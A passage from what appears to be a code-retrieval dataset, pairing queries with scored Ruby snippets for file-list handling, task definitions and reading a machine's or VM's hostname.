"ab3e3316ce5e477b2dec2fc2e9484c2d", "score": "0.5333859", "text": "def remove(lst_file_info)\n @global_mutex.synchronize do\n # Gather the list of lists to update\n lst_lst_file_info = []\n INDEXES_LIST.each do |index_name|\n lst_lst_file_info.concat(@indexes[index_name].values)\n end\n @segments_metadata.values.each do |metadata_key_map|\n metadata_key_map.values do |metadata_value_map|\n lst_lst_file_info.concat(metadata_value_map.values)\n end\n end\n # Update them for real\n lst_lst_file_info.each do |lst_pointers|\n lst_pointers.delete_if do |pointer|\n if pointer.is_a?(FileInfo)\n next lst_file_info.include?(pointer)\n else\n next lst_file_info.include?(pointer.file_info)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "1617bc49c7ac031374ba5b5bb14295fc", "score": "0.53307116", "text": "def files #(update=false)\n #remove = (update ? (exclude + topline.exclude) : exclude)\n #remove = exclude\n #remove += DEFAULT_EXCLUDE unless all?\n #remove += [filename, filename.chomp('~')]\n\n files = []\n Dir.chdir(location) do\n files += Dir.multiglob_r('**/*')\n files -= Dir.multiglob_r(exclusions)\n end\n return files\n end", "title": "" }, { "docid": "5048168ee82dcb8390c63230ba5920a7", "score": "0.5321409", "text": "def gsub_file(path, flag, *args, &block); end", "title": "" }, { "docid": "73d9cb931b5ed1471254351a504cb9d3", "score": "0.53068054", "text": "def subtract(node, file_basenames)\n subtract_files(node, file_basenames)\n end", "title": "" }, { "docid": "fe088bfafd323065d0b2828159cb706d", "score": "0.5296582", "text": "def refresh_file_list\n logger.debug \"Refreshing file list\"\n # Preserve old file list\n @old_config_files = @config_files\n\n files = []\n @patterns.each{|p| files += Dir.glob(p)}\n @config_files = files.uniq.sort\n logger.debug \"Found files: #{@config_files.inspect}\"\n end", "title": "" }, { "docid": "ec448590ab706780d3173f14069dba7b", "score": "0.52737474", "text": "def list\n files_list\n end", "title": "" }, { "docid": "ac837e1a4ec64f5ddf42cf948fe5dca3", "score": "0.52734065", "text": "def *(other)\n result = @items * other\n case result\n when Array\n FileList.new.import(result)\n else\n result\n end\n end", "title": "" }, { "docid": "1d017efb14f723beffcab8fab04bd917", "score": "0.5268754", "text": "def whatsnew\n parse_file unless read?\n list - (filelist + [filename])\n end", "title": "" }, { "docid": "f6e64b2d29d16941a9b0716a940b5708", "score": "0.5236758", "text": "def copyfiles(oldstat, newstat)\n\tlist = []\n\t# copy changed files\n\tnewstat.keys.each { |f|\n\t\tnext if newstat[f] == oldstat[f]\n\t\tlist << f\n\t\tputs \" copy #{f}\" if $VERBOSE\n\t\trf = File.join($opts[:subrepo], f)\n\t\tFileUtils.mkdir_p File.dirname(rf)\n\t\tFile.open(rf, 'wb') { |fdw|\n\t\t\tFile.open(f, 'rb') { |fdr|\n\t\t\t\tfdw.write fdr.read\n\t\t\t}\n\t\t}\n\t}\n\t# remove old deleted/moved files\n\t(oldstat.keys - newstat.keys).each { |f|\n\t\tlist << f\n\t\tputs \" rm #{f}\" if $VERBOSE\n\t\trunsubdir { File.unlink(f) }\n\t}\n\tlist\nend", "title": "" }, { "docid": "6084437bc1f28aef41321f3bdf49d75f", "score": "0.5213101", "text": "def generate_file_list\n @file_list = true\n @items = options.files\n @list_title = \"File List\"\n @list_type = \"file\"\n generate_list_contents\n @file_list = nil\nend", "title": "" }, { "docid": "769bd6834007d6f8478fac7b5b626175", "score": "0.5196035", "text": "def setup\n @files = []\n SVN_LS.xpath(\"//entry[@kind='file']\").each {|entry| @files << FileItem.new(entry)}\n\n f1 = @files[0]\n f2 = @files[1]\n SVN_LG.each do |entry|\n entry.xpath(\"./paths/path[@kind='file']\").each do |path|\n filename = path.text.gsub(/\\s+/, '')\n filename = (filename.split('/').drop(2)).join('/')\n f1.add_rev(entry) if f1.full_path == filename\n f2.add_rev(entry) if f2.full_path == filename\n end\n end\n end", "title": "" }, { "docid": "a4a5f0f97e1ca7dcbf601c4a9a1ae993", "score": "0.51865286", "text": "def files\n filelist=Dir[\"#{@path}/*.mp3\"]\n newlist=[]\n filelist.each do |file|\n file.slice! \"#{@path}/\"\n newlist << file\n end #each\n newlist\n end", "title": "" }, { "docid": "6dd89261aed2538465b015f496d8ac52", "score": "0.5180203", "text": "def normalized_file_list(options, relative_files, force_doc = false, exclude_pattern=nil)\n file_list = []\n\n relative_files.each do |rel_file_name|\n next if exclude_pattern && exclude_pattern =~ rel_file_name\n stat = File.stat(rel_file_name)\n case type = stat.ftype\n when \"file\"\n next if @last_created and stat.mtime < @last_created\n file_list << rel_file_name.sub(/^\\.\\//, '') ## if force_doc || ParserFactory.can_parse(rel_file_name)\n when \"directory\"\n next if rel_file_name == \"CVS\" || rel_file_name == \".svn\"\n # puts \"DEBUG: rel_file_name: \" + rel_file_name\n dot_doc = File.join(rel_file_name, DOT_DOC_FILENAME)\n if File.file?(dot_doc)\n file_list.concat(parse_dot_doc_file(rel_file_name, dot_doc, options))\n else\n file_list.concat(list_files_in_directory(rel_file_name, options))\n end\n else\n raise TestDocError.new(\"I can't deal with a #{type} #{rel_file_name}\")\n end\n end\n file_list\n end", "title": "" }, { "docid": "e91604e55eb1ba09eb962898f1085840", "score": "0.5172462", "text": "def filelist\n unless defined? @createdfilelist\n # If they passed in a file list as an array, then create a FileList\n # object out of it.\n if defined? @filelist\n unless @filelist.is_a? FileList\n @filelist = FileList[@filelist]\n end\n else\n # Use a default file list.\n @filelist = FileList[\n 'install.rb',\n '[A-Z]*',\n 'lib/**/*.rb',\n 'test/**/*.rb',\n 'bin/**/*',\n 'ext/**/*',\n 'examples/**/*',\n 'conf/**/*'\n ]\n end\n @filelist.delete_if {|item| item.include?(\".git\")}\n\n @createdfilelist = true\n end\n\n @filelist\n end", "title": "" }, { "docid": "d6f91136baa309c100efe0b6e80fc62e", "score": "0.5145449", "text": "def lsub(reference, wildcards)\n @connection.lsub(reference, wildcards) || []\n end", "title": "" }, { "docid": "21afa2cf190d2ae3d24c048d58d8b8ab", "score": "0.51302993", "text": "def files_scheduled_for_add\n Dir[temp_plugin_name+\"/**/*\"].collect {|fn| fn.gsub(temp_plugin_name, '.')} -\n Dir[plugin.name+\"/**/*\"].collect{|fn| fn.gsub(plugin.name, '.')}\n end", "title": "" }, { "docid": "9c9c0ebc1e466bef9fae621108107741", "score": "0.5115357", "text": "def filelist\n @filelist ||= begin\n list = common_filelist(super) # Always pick up the parent list\n list\n end\n end", "title": "" }, { "docid": "5cfe265068729860990ba0752800ce01", "score": "0.5114203", "text": "def expand_file_list(files)\n list = []\n files = [files] unless files.is_a? Array\n\n files.each do |path|\n list += expand_path path\n end\n\n list\n end", "title": "" }, { "docid": "6d8948ee8e66ef087b1e7d174e5dae55", "score": "0.51100355", "text": "def whatsnew\n #raise ManifestMissing unless file\n files - (filelist + [filename])\n end", "title": "" }, { "docid": "641d4bd1c4f218cff3874e15ba989595", "score": "0.5103792", "text": "def whatsold\n parse_file unless read?\n filelist - list\n end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.5097174", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.5097174", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.5097174", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.5097174", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.5097174", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.5097174", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.5097174", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.5097174", "text": "def files; end", "title": "" }, { "docid": "763f6b48ab33ff31486f5bf0f8bc4470", "score": "0.5097174", "text": "def files; end", "title": "" }, { "docid": "26ed5104dfab36290bec43dce4d5310a", "score": "0.5092749", "text": "def basenames!(file_list, args = {})\n file_list.map! { |file| File.basename(file) } if args.fetch(:basename, false)\n file_list\n end", "title": "" }, { "docid": "f6f6b18b9288ac8085088f9bdaa1ec4a", "score": "0.5087373", "text": "def touch(files, opts)\n xpath = files.map { |f| \"contains(text(),\\\"#{f}\\\")\" }.join(\" or \")\n svn_log(opts).xpath(\"//logentry[paths/path[#{xpath}]]\")\n .map { |xml| to_entry(xml) }\n .each do |e|\n e.paths.path.delete_if { |p| files.none? { |f| p.include? f } } if e.paths.path.respond_to? :delete_if\n end\n end", "title": "" }, { "docid": "ed6866df1a32a858d9754f6052744687", "score": "0.50730705", "text": "def duplicity_backup_filelist\n duplicity_backup_cmd(\n '/',\n 'file_backup',\n [\n '--include-filelist /etc/duplicity/globbing_file_list',\n '--exclude \\'**\\''\n ]\n )\n end", "title": "" }, { "docid": "fd4de112ddfa9c824af0ffa6f631f8e5", "score": "0.50687355", "text": "def track_files(glob); end", "title": "" }, { "docid": "d2eef845c68f2a65fac9d00535dcd58c", "score": "0.50623286", "text": "def filtered(files); end", "title": "" }, { "docid": "6442edac4cc597733453df5857e80378", "score": "0.50569797", "text": "def file_list(files)\n files.join(' ')\n end", "title": "" }, { "docid": "2fd02e780650be6e8a530942d4382a62", "score": "0.5052077", "text": "def redefine_task(*args, &block)\n task_name = Hash === args.first ? args.first.keys[0] : args.first\n existing_task = Rake.application.lookup task_name\n existing_actions = nil\n if existing_task\n class << existing_task; public :instance_variable_set, :instance_variable_get; end\n existing_task.instance_variable_set \"@prerequisites\", FileList[]\n existing_actions = existing_task.instance_variable_get \"@actions\"\n existing_task.instance_variable_set \"@actions\", []\n end\n task(*args) do\n block.call(existing_actions)\n end\nend", "title": "" }, { "docid": "93d20ac6db1b75e4112ceac211a37779", "score": "0.504751", "text": "def file_list(hash)\nend", "title": "" }, { "docid": "777b8a112dcf61352a3a02b53f7744a5", "score": "0.50460607", "text": "def added_files(old_files,new_files)\n (old_files | new_files) - (old_files & new_files)\nend", "title": "" }, { "docid": "f2155b6268f7cbd32644e2ec720bc2b2", "score": "0.50399524", "text": "def reload_file_set\n return unless implicitly_loaded?\n old_file_set = @files.to_a\n new_file_set = []\n changes = false\n \n # find all source files and add unseen files to the files list\n @folder.find do |path|\n next unless source_file?(path)\n file = Impromptu::File.new(path.realpath, self, preload?)\n new_file_set << file\n unless @files.include?(file)\n changes = true\n @files.push(file).add_resource_definition\n end\n end\n\n # remove any files which have been deleted\n deleted_files = old_file_set - new_file_set\n deleted_files.each {|file| @files.delete(file).remove}\n changes = true if deleted_files.size > 0\n \n # refreeze each files association lists if the set of\n # files has changed\n if changes\n @files.each do |file|\n file.refreeze\n end\n end\n end", "title": "" }, { "docid": "e98c2391760846b3da72676aa42a26e3", "score": "0.50360894", "text": "def files_scheduled_for_remove\n Dir[plugin.name+\"/**/*\"].collect {|fn| fn.gsub(plugin.name, '.')} -\n Dir[temp_plugin_name+\"/**/*\"].collect {|fn| fn.gsub(temp_plugin_name, '.')}\n end", "title": "" }, { "docid": "e8de4ceb78cc40726b15f0c7f163e063", "score": "0.5035792", "text": "def run(list); end", "title": "" }, { "docid": "9876cdc17a9a2fd080775327a32080e8", "score": "0.5035768", "text": "def file!(*args, &block)\n task = Rake::FileTask.define_task(*args, &block)\n CLEAN.include(task.name)\n task\nend", "title": "" }, { "docid": "2833dda3f550e36dfa263720cc9e79a5", "score": "0.5034564", "text": "def excludes_files_for_update(input_arr, list_files)\n all_files = list_files.split(/,\\s*/)\n list_files_for_update = input_arr\n all_files.each do |name|\n exclude_str_from_arr(list_files_for_update, name)\n end\n\n return list_files_for_update\nend", "title": "" }, { "docid": "7558cb617bc6b4095abe1781ca83de21", "score": "0.5026983", "text": "def sub(*args, &block)\n unless (1..2).include?(args.length)\n raise ArgumentError, \"wrong number of arguments (given #{args.length}, expected 2)\"\n end\n\n pattern, replace = *args\n if args.length == 2 && block\n block = nil\n end\n result = []\n found = self.index(pattern)\n return self.dup unless found\n result << self.byteslice(0, found)\n offset = found + pattern.length\n result << if block\n block.call(pattern).to_s\n else\n self.__sub_replace(replace, pattern, found)\n end\n result << self.byteslice(offset..-1) if offset < length\n result.join\n end", "title": "" }, { "docid": "e76238ecc74ec65874df342cdf58ef29", "score": "0.5025136", "text": "def replace(entry, srcPath); end", "title": "" }, { "docid": "8f1fe5aa3cfd0fbc5270aa74ae9e10a1", "score": "0.5017426", "text": "def dependency_files(changed_files)\n files = reload_files(changed_files)\n files.flatten!\n files - changed_files\n end", "title": "" }, { "docid": "218b8a2ebf882df7763efca5f0c46140", "score": "0.50032794", "text": "def sublist(*args,**kwds)\n\t\t\targs=args.first if args.length==1 and Array===args.first\n\t\t\tcase kwds[:outtype]\n\t\t\twhen :web\n\t\t\t\treturn join(args,join:\"\\n\",pre_item:\" - \")\n\t\t\twhen :tex\n\t\t\t\tpreitem=\"\\\\item \"\n\t\t\t\t#preitem=\"\\\\cvitem \" if kwds[:cv]\n\t\t\t\treturn join(args,join:\"\\n\",pre_item: preitem,\n\t\t\t\t\tpre:\"\\\\begin{itemize}\\n\", post:\"\\n\\\\end{itemize}\")\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "b09e971748405161736b5a27a8bd4018", "score": "0.5002691", "text": "def desired_contents\n desired = []\n desired += @tarball.paths.map { |entry| File.join(@full_path, entry) }\n desired += super\n end", "title": "" }, { "docid": "00f55f21639f5961cdff88f3308cf03f", "score": "0.4998382", "text": "def dedupSubtitles(outDir)\n subHashes = Hash.new{|hash, key|\n hash[key] = []\n }\n\n Dir.glob(File.join(outDir, '*.vtt')).each{|subfile|\n subHashes[Digest::MD5.file(subfile).hexdigest] << subfile\n }\n\n # Remove any duplicate files.\n # Keep the lowest lexicographic file.\n # This means that internal subtitles and early streams are favored.\n subHashes.each_value{|files|\n sortFiles = files.sort()\n keep = sortFiles.shift()\n\n sortFiles.each{|file|\n debug(\"Removed duplicate subtitle file: #{file}.\")\n File.delete(file)\n }\n }\nend", "title": "" }, { "docid": "995dea28bb3a76d5b091822d7c9cb4de", "score": "0.49924582", "text": "def filenames(*fnames); end", "title": "" }, { "docid": "69865308d39ce0752987fd18ca613957", "score": "0.4988324", "text": "def sync_subtitles_for_foreign_files(options)\n if config.setting(:is_primary_repo)\n raise \"This command can only be used in a foreign repository.\"\n end\n\n file_count = 0\n primary_content_type = content_type.corresponding_primary_content_type\n primary_config = primary_content_type.config\n primary_repo = primary_content_type.repository\n primary_repo_sync_commit = primary_repo.read_repo_level_data['st_sync_commit']\n\n Repositext::Cli::Utils.read_files(\n config.compute_glob_pattern(\n options['base-dir'] || :content_dir,\n options['file-selector'] || :all_files,\n options['file-extension'] || :at_extension\n ),\n options['file_filter'],\n nil,\n \"Reading content AT files\",\n options\n ) do |content_at_file|\n file_count += 1\n # We want to sync the foreign file to the current primary\n # st_sync_commit.\n # NOTE: This process updates the file level st_sync data for\n # `st_sync_commit` and `st_sync_subtitles_to_review` for content_at_file.\n method_args = {\n 'config' => primary_config,\n 'primary_repository' => primary_repo,\n 'to-commit' => primary_repo_sync_commit\n }\n # We use this method as part of subtitle import to re-apply any pending\n # st_ops since the subtitle export. We accomplish this by providing\n # the 'from-commit' option with the value of the export git commit:\n if options['re-apply-st-ops-since-st-export']\n # During the subtitle import we copied the value of\n # `exported_subtitles_at_st_sync_commit` to `st_sync_commit`, and\n # then we set `exported_subtitles_at_st_sync_commit` to null.\n # So at this point we have to read the export commit from `st_sync_commit`.\n export_commit = content_at_file.read_file_level_data['st_sync_commit']\n if '' == export_commit.to_s.strip\n raise \"Missing `st_sync_commit` (effective export git commit), can't re-apply st_ops since st export!\"\n end\n method_args['from-commit'] = export_commit\n end\n sync_sts = Repositext::Process::Sync::Subtitles.new(method_args)\n sync_sts.sync_foreign_file(content_at_file)\n end\n end", "title": "" }, { "docid": "f136fefbb2e931f2327e9c0e0d99d210", "score": "0.49845332", "text": "def get_file_list\n # Iterate over all files to find the matching criteria for deletion\n Janitor::Directory.new(\n @current_resource.path,\n @current_resource.recursive\n )\n end", "title": "" }, { "docid": "6bb7db79bddf9ae8b33a7b12797849d1", "score": "0.49825925", "text": "def run_all\n run_on_changes files.reject {|f| partial?(f) }\n end", "title": "" }, { "docid": "6bb7db79bddf9ae8b33a7b12797849d1", "score": "0.49825925", "text": "def run_all\n run_on_changes files.reject {|f| partial?(f) }\n end", "title": "" }, { "docid": "88920e18536956148cabc293717372f3", "score": "0.49767822", "text": "def sort_task()\n farray = File.open(\"todo.txt\").collect\n sorted_farray = farray.sort\n fh = File.open(\"todo_temp.tmp\",\"w\")\n sorted_farray.each do |sorted|\n fh.puts sorted\n end\n fh.close\n File.delete(\"todo.txt\")\n File.rename(\"todo_temp.tmp\",\"todo.txt\")\n list_task()\nend", "title": "" }, { "docid": "b1cfd1a86446a0ed25463b7fa59f1a5e", "score": "0.49766073", "text": "def file_list(argv)\n result = argv.reverse.map { |e| \"fopen #{e}\" }\n result << 'test -z :_buf && open unnamed1' if result.empty?\n result\nend", "title": "" }, { "docid": "8de543d9d6a4fc343e9ddab2ac77c190", "score": "0.49717784", "text": "def add_files(pattern)\n concat(list_by_pattern(pattern)) # TODO: avoid using shell commands\n end", "title": "" }, { "docid": "5b189ccd80f9e3f4984b7a389d20180f", "score": "0.49675265", "text": "def parse_list( filelist )\n temp_files = []\n ## Splat (*) filelist into Array if single string\n [*filelist].each do |item|\n abort( \"FileList parse_list item not found : #{item}\") unless ::File.exist?( item )\n ::IO.readlines( item ).each do |line|\n ## Remove // or # comments \n line = strip_comments( line )\n\n ## Expand Environment variables in strings\n line = expand_envvars( line )\n \n ## -incdir, include the entire contents of listed directory\n if line.match(/^\\s*-incdir\\s+(\\S+)\\s*/)\n temp_files << incdir($1)\n\n ## Recurse on -f (file.f including other files.f)\n elsif line.match(/^\\s*-f\\s+(\\S+)\\s*/)\n temp_files << parse_list($1)\n\n ## Ignore Whitespace\n elsif line.match(/^\\s$/)\n next\n \n ## Append file list line to list of files\n else\n temp_files << line.strip\n end\n end\n end\n\n ## Recursion embeds arrays, return flat file list\n\n return temp_files.flatten\n end", "title": "" }, { "docid": "ce5b9eacec2e169d3de3c14822ba674f", "score": "0.4966897", "text": "def set_files\n @files = []\n if single_file?\n add_file(@info['name'], @info['length'], 0, @info['length'] - 1)\n else\n add_files\n end\n end", "title": "" }, { "docid": "f323babc1632a06040680ebb5abd9522", "score": "0.49668398", "text": "def diff_files; end", "title": "" }, { "docid": "d1275f33f3cb97cad405afca3b4f6d17", "score": "0.496673", "text": "def get_the_individual_file_to_be_processed(project)\r\n #p \"individual file selection\"\r\n files = GetFiles.get_all_of_the_filenames(project.freereg_files_directory,project.file_range)\r\n files\r\n end", "title": "" }, { "docid": "efc0e971136e4498969a9a2815e879a1", "score": "0.49657723", "text": "def [](*glob); return Dir.glob(glob,0); end", "title": "" }, { "docid": "733d04dc0867c04479477aefbd7ac14d", "score": "0.49633887", "text": "def add(*filenames); end", "title": "" }, { "docid": "8760a1af163e6f84536c8ac4e250caa1", "score": "0.4958093", "text": "def call(*args)\n options[:files] += args\n super()\n end", "title": "" }, { "docid": "9335d6bad3c7a7eb930476c7f1ba6c3a", "score": "0.49524972", "text": "def testListSingleDeliverableSubDir\n setRepository('UniqueDeliverableSourceSubDir') do |iRepoDir|\n lOutputFileName = \"#{iRepoDir}/OutputList.conf.rb\"\n runFSCMS(['ListFiles', '--', '--target', 'TestType/TestID/0.1/TestDeliverable', '--output', lOutputFileName])\n assert(File.exists?(lOutputFileName))\n File.open(lOutputFileName, 'r') do |iFile|\n assert_equal( {\n 'TestType/TestID/0.1/TestDeliverable' => {\n :Sources => [\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SourceFile1\",\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SourceFile2\",\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SubDir1\",\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SubDir1/SourceFile3\",\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SubDir1/SubSubDir\",\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SubDir1/SubSubDir/SourceFile5\",\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SubDir2\",\n \"#{iRepoDir}/TestType/TestID/0.1/Source/SubDir2/SourceFile4\",\n \"#{iRepoDir}/TestType/TestID/0.1/metadata.conf.rb\"\n ],\n :ManualDeliverables => [],\n :ManualMissingDeliverables => [],\n :Work => [],\n :Temp => [],\n :AutoDeliverables => [],\n :AutoMissingDeliverables => [ 'TestType/TestID/0.1/TestDeliverable' ]\n }\n }, eval(iFile.read))\n end\n end\n end", "title": "" }, { "docid": "d146f08709f64a9b340c6b7eb40fee26", "score": "0.494932", "text": "def filenames; end", "title": "" }, { "docid": "437134f9afd073b748f0e157a1d2e32e", "score": "0.49489546", "text": "def filelist\n #manifest ? manifest.filelist : (@filelist ||= collect_files)\n @filelist ||= collect_files\n end", "title": "" }, { "docid": "8c4d059560a36fbf682b967b36a4a8ae", "score": "0.4943632", "text": "def redefine_task(*args, &block)\n task_name = Hash === args.first ? args.first.keys[0] : args.first\n existing_task = Rake.application.lookup task_name\n existing_actions = nil\n if existing_task\n class << existing_task; public :instance_variable_set, :instance_variable_get; end\n existing_task.instance_variable_set \"@prerequisites\", FileList[]\n existing_actions = existing_task.instance_variable_get \"@actions\"\n existing_task.instance_variable_set \"@actions\", []\n end\n task(*args) do\n block.call(existing_actions)\n end\n end", "title": "" }, { "docid": "4bf3a9062f9859d82a182f36df38b258", "score": "0.49314278", "text": "def get_baned\n re = []\n a = Dir.glob '*_baned.ban'\n a.each do |f|\n puts ' baned file : ' + f.to_s\n s = File.read(f)\n p s\n re << s\n File.delete f\n end\n re\nend", "title": "" }, { "docid": "b5d2b309260fcdfe620074680eeb63d7", "score": "0.49314263", "text": "def remove_from_project(to_remove)\n to_remove.each do |entry|\n file_ref = entry.ref\n file_ref.remove_from_project\n end\n end", "title": "" }, { "docid": "28c66aeb3143b278ce05672c8866f81a", "score": "0.4926385", "text": "def formatted_files\n @added.sort.collect { |f| \"+ #{f}\" } + @removed.sort.collect { |f| \"- #{f}\" }\n end", "title": "" }, { "docid": "4d77410a6c2c68e3f2c04c06a4979945", "score": "0.49253857", "text": "def run_once\n files = scan_files\n keys = [files.keys, @files.keys] # current files, previous files\n\n find_added(files, *keys)\n find_modified(files, *keys)\n find_removed(*keys)\n\n notify_observers\n @files = files # store the current file list for the next iteration\n self\n end", "title": "" }, { "docid": "5514403dfa7eb2d4b157f86e3e5d1ef5", "score": "0.49251774", "text": "def exhaustive_list_of_files_to_link(from, to)\n script = <<-END\nexhaustive_list_of_files_to_link() {\n files=\"\";\n\n for f in `ls -A1 ${1}`; do\n file=\"${2}/${f}\";\n f=\"${1}/${f}\";\n if [[ -e \"${file}\" ]]; then\n files=\"${files} `exhaustive_list_of_files_to_link ${f} ${file}`\";\n else\n files=\"${files} ${f}:${file}\";\n fi;\n done;\n echo \"${files}\";\n};\n END\n\n script << \"exhaustive_list_of_files_to_link '#{from}' '#{to}';\"\n\n begin\n files = capture(script).strip.split(' ')\n files.map {|f| f.split(':')}\n rescue Capistrano::CommandError\n abort \"Unable to get files list\"\n end\n end", "title": "" }, { "docid": "e9b89481235d038611758124cf2fba0c", "score": "0.492192", "text": "def monitorFiles(globs, &blk )\n t = Thread.new do \n changed = []\n lastmtime={}\n while true\n sleep 1\n all=[]\n globs.each do |pat|\n all += Dir.glob(pat) \n end\n\n all.each do |fn|\n next if fn =~ /^_/\n s = File::Stat.new(fn)\n if lastmtime[fn] then\n if s.mtime != lastmtime[fn] then\n changed.push(fn)\n print fn, \": \", s.mtime, \" \",s.size, \"\\n\"\n lastmtime[fn] = s.mtime\n end\n else\n lastmtime[fn] = s.mtime\n end\n end\n if changed.size > 0 then \n blk.call( changed )\n changed = []\n end\n end\n end\n return t\nend", "title": "" }, { "docid": "c7f3bcfada7d45831c385cd6579e66f2", "score": "0.491903", "text": "def listfile_task (name, target, arch = :x86)\n target_path = \"#{$nasm_path_map[target]}.lst\"\n src = $nasm_src_map[target]\n\n nasm_listfile(arch, target_path, src)\n task name => target_path do view_file(target_path) end\n add_interactive_task(name, src)\nend", "title": "" }, { "docid": "dea6592e48f629d9dd2f1d05279a359d", "score": "0.49152157", "text": "def formatted_file_list(title, source_files)\n title_id = title.gsub(/^[^a-zA-Z]+/, \"\").gsub(/[^a-zA-Z0-9\\-_]/, \"\")\n template(\"file_list\").result(binding)\n end", "title": "" }, { "docid": "e70ff339ce828c01e57ec64fd4e6150c", "score": "0.49127144", "text": "def test_files(pr)\n files_at_commit(pr, test_file_filter)\n end", "title": "" } ]
dddc013a5fbfec2d1f9b552da06e3822
The computername as seen by the operating system This might be different to the VM name as seen in Azure
[ { "docid": "ae46df399466fbea0a9f6c8791f05462", "score": "0.8602622", "text": "def computername\n vm.os_profile.computer_name\n end", "title": "" } ]
[ { "docid": "2ff676de9d8416d7ad4374cd35c8b01c", "score": "0.7192158", "text": "def machine_name\n @values.fetch('ai.device.machineName') { \n @values['ai.device.machineName'] = nil\n }\n end", "title": "" }, { "docid": "4014ec2b69e6d7927aa6704cabd78455", "score": "0.7125796", "text": "def vm_name\n if !name || name.empty?\n \"#{user.id}-#{project.name.gsub('.','-')}-#{Time.zone.now.to_i.to_s.sub(/^../,'')}\".downcase\n else\n name\n end\n end", "title": "" }, { "docid": "abf1fa0ad9e18c404a6ddb63ad33f665", "score": "0.6966506", "text": "def objname()\n machine = self.get_machine()\n profile = self.get_profile()\n (machine.nil? ? \"no machine\" : machine.hostname) + \": \" + (profile.nil? ? \"no profile\" : profile.name)\n end", "title": "" }, { "docid": "5813a4165b778ab13af5470d269e22f8", "score": "0.69106364", "text": "def hostname\n host_hash['vmhostname'] || @name\n end", "title": "" }, { "docid": "61925905cdc42fc20a2341098cfe6a3d", "score": "0.6869285", "text": "def build_host_name\n if @platform.abs_resource_name\n @platform.abs_resource_name\n elsif @platform.vmpooler_template\n @platform.vmpooler_template\n else\n @platform.name\n end\n end", "title": "" }, { "docid": "61925905cdc42fc20a2341098cfe6a3d", "score": "0.6869285", "text": "def build_host_name\n if @platform.abs_resource_name\n @platform.abs_resource_name\n elsif @platform.vmpooler_template\n @platform.vmpooler_template\n else\n @platform.name\n end\n end", "title": "" }, { "docid": "1e559761e59a182c50b7c381fbcf35cb", "score": "0.6759237", "text": "def local_name\n ec2_user_data('local_name', 'local_name')\n end", "title": "" }, { "docid": "9eee9c165b39fb518a17e51626da8e20", "score": "0.67469317", "text": "def hostname\n if @hostname.nil?\n @hostname = ENV[\"COMPUTERNAME\"]\n @hostname = ENV[\"HOSTNAME\"] if @hostname.blank?\n @hostname = `hostname` if @hostname.blank?\n @hostname = @hostname.gsub(/\\.terracotta\\.lan/, '').strip\n end\n \n @hostname\n end", "title": "" }, { "docid": "8dccd5feada517ea4d77def85868f1c9", "score": "0.67123437", "text": "def get_vm_host(_pool_name, _vm_name)\n\n #for v1 virtualbox support this is all local so the hostname will always be localhost\n return 'localhost'\n end", "title": "" }, { "docid": "bbb322cfe04fbfef9a3b47447e5ad411", "score": "0.6650738", "text": "def myname(compute)\n\t\t# lookup the name of the running instance\n\t\tinstanceid = Facter.value('ec2_instance_id')\n\t\tif ( instanceid =~ /i-/ )\n\t\t\treturn lookupname(compute,instanceid)\n\t\telse\n\t\t\traise \"ebsvol[aws]->myname: Sorry, I can't find my instanceId - please check Facter fact ec2_instance_id is available\"\n\t\tend\n\t\tnil\n\tend", "title": "" }, { "docid": "e182d5f85d08cad205332d41269bf1b3", "score": "0.6533304", "text": "def this_host_name\n if is_zz?\n return zz[:local_hostname]\n end\n\n return @this_host_name if @this_host_name != nil\n\n instances = ey['environment']['instances']\n # assume localhost if can't find\n @this_host_name = 'localhost'\n\n this_id = this_instance_id\n instances.each do |instance|\n if instance['id'] == this_id\n @this_host_name = instance['private_hostname']\n break\n end\n end\n @this_host_name\n end", "title": "" }, { "docid": "6b1ad3a852cd0315045af5cabf110074", "score": "0.65323555", "text": "def name\n ssh.exec!(\"hostname\").chomp\n end", "title": "" }, { "docid": "a703b42d11f185dd0ea2e263c037b198", "score": "0.65265465", "text": "def ssh_host_name( host )\n # This is included here for expected Space-wide policy settings.\n host[ :internet_name ] || host[ :internet_ip ] || host.name\n end", "title": "" }, { "docid": "db433636a87f13a210389ad1271a718c", "score": "0.6481132", "text": "def hostname\n @hostname ||= `hostname`.strip\n end", "title": "" }, { "docid": "6a2e763169e7a7db73d258b14d72eb81", "score": "0.64661753", "text": "def machine_name=(value)\n if value == @defaults['ai.device.machineName']\n @values.delete 'ai.device.machineName' if @values.key? 'ai.device.machineName'\n else\n @values['ai.device.machineName'] = value\n end\n end", "title": "" }, { "docid": "3d7cf3e72e77a35be0f5d41962f82aad", "score": "0.64192814", "text": "def get_server_hostname\n (`hostname`).strip\n end", "title": "" }, { "docid": "ab77960cf8508909bea6825a4604bf1d", "score": "0.64061844", "text": "def hostname\n Socket.gethostname.split('.').first.strip\n end", "title": "" }, { "docid": "d9fd13b41db055fc67dd9c8ece33ee04", "score": "0.6387513", "text": "def netbios_name\n if (netbios = @host.at('tag[name=netbios-name]'))\n netbios.inner_text\n end\n end", "title": "" }, { "docid": "8f39fd2349dd6cec95c6c1198e49b417", "score": "0.6377541", "text": "def get_hostname\n cmd_exec('uname -n').to_s\n rescue\n raise 'Unable to retrieve hostname'\n end", "title": "" }, { "docid": "1c7878f5f6afcc6fb76bb0826ca5dc96", "score": "0.6356637", "text": "def hostname\n @hostname ||= `hostname`.chomp\n end", "title": "" }, { "docid": "7a969e12ae63523d98bfaf56ad916caa", "score": "0.62686694", "text": "def os_name\n if (os_name = @host.at('tag[name=operating-system]'))\n 